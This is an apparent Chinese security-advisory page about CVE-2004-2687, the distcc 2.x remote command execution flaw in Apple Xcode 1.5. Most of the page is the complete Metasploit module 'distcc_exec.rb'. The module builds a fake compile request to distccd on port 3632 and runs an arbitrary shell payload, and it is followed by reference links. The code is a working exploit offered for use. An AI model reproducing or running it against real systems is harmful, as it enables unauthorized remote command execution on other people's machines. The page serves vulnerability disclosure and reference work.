Apple Xcode Tools 配置错误漏洞

Apple Xcode Tools 配置错误漏洞

漏洞ID 1106594 漏洞类型 配置错误
发布时间 2002-02-01 更新时间 2004-12-31
图片[1]-Apple Xcode Tools 配置错误漏洞-安全小百科CVE编号 CVE-2004-2687
图片[2]-Apple Xcode Tools 配置错误漏洞-安全小百科CNNVD-ID CNNVD-200412-679
漏洞平台 Multiple CVSS评分 9.3
|漏洞来源
https://www.exploit-db.com/exploits/9915
https://www.securityfocus.com/bid/90317
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-679
|漏洞详情
用于XCode 1.5版本及其他版本的distcc 2.x版本配置对于服务器端口的访问不限制时,远程攻击者可以借助编辑工作执行任意命令,该漏洞被无授权检查的服务器执行。

|漏洞EXP
##
# $Id: distcc_exec.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DistCC Daemon Command Execution',
			'Description'    => %q{
				This module uses a documented security weakness to execute
				arbitrary commands on any system running distccd.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-2687'],
					[ 'OSVDB', '13378' ],
					[ 'URL', 'http://distcc.samba.org/security.html'],

				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 01 2002'
			))

			register_options(
				[
					Opt::RPORT(3632)
				], self.class)
	end

	def exploit
		connect

		distcmd = dist_cmd("sh", "-c", payload.encoded);
		sock.put(distcmd)

		dtag = rand_text_alphanumeric(10)
		sock.put("DOTI0000000A#{dtag}n")

		res = sock.get_once(24, 5)

		if !(res and res.length == 24)
			print_status("The remote distccd did not reply to our request")
			disconnect
			return
		end

		# Check STDERR
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("n").each do |line|
				print_status("stderr: #{line}")
			end
		end

		# Check STDOUT
		res = sock.get_once(4, 5)
		res = sock.get_once(8, 5)
		len = [res].pack("H*").unpack("N")[0]

		return if not len
		if (len > 0)
			res = sock.get_once(len, 5)
			res.split("n").each do |line|
				print_status("stdout: #{line}")
			end
		end

		handler
		disconnect
	end


	# Generate a distccd command
	def dist_cmd(*args)

		# Convince distccd that this is a compile
		args.concat(%w{# -c main.c -o main.o})

		# Set distcc 'magic fairy dust' and argument count
		res = "DIST00000001" + sprintf("ARGC%.8x", args.length)

		# Set the command arguments
		args.each do |arg|
			res << sprintf("ARGV%.8x%s", arg.length, arg)
		end

		return res
	end

end
|受影响的产品
Samba Samba 2.18.3

Apple Xcode 1.5

|参考资料

来源:OSVDB
名称:13378
链接:http://www.osvdb.org/13378
来源:www.metasploit.org
链接:http://www.metasploit.org/projects/Framework/exploits.html#distcc_exec
来源:MLIST
名称:[distcc]20040826Exploitindistcc(gotcompromised;()
链接:http://lists.samba.org/archive/distcc/2004q3/002562.html
来源:MLIST
名称:[distcc]20040826Exploitindistcc(gotcompromised;()
链接:http://lists.samba.org/archive/distcc/2004q3/002550.html
来源:distcc.samba.org
链接:http://distcc.samba.org/security.html
来源:BUGTRAQ
名称:20050310XCode1.5anddistcc2.xExploit
链接:http://archives.neohapsis.com/archives/bugtraq/2005-03/0183.html

相关推荐: Half-Life Server New Player Flood Denial Of Service Vulnerability

Half-Life Server New Player Flood Denial Of Service Vulnerability 漏洞ID 1101937 漏洞类型 Design Error 发布时间 2002-06-20 更新时间 2002-06-20 C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享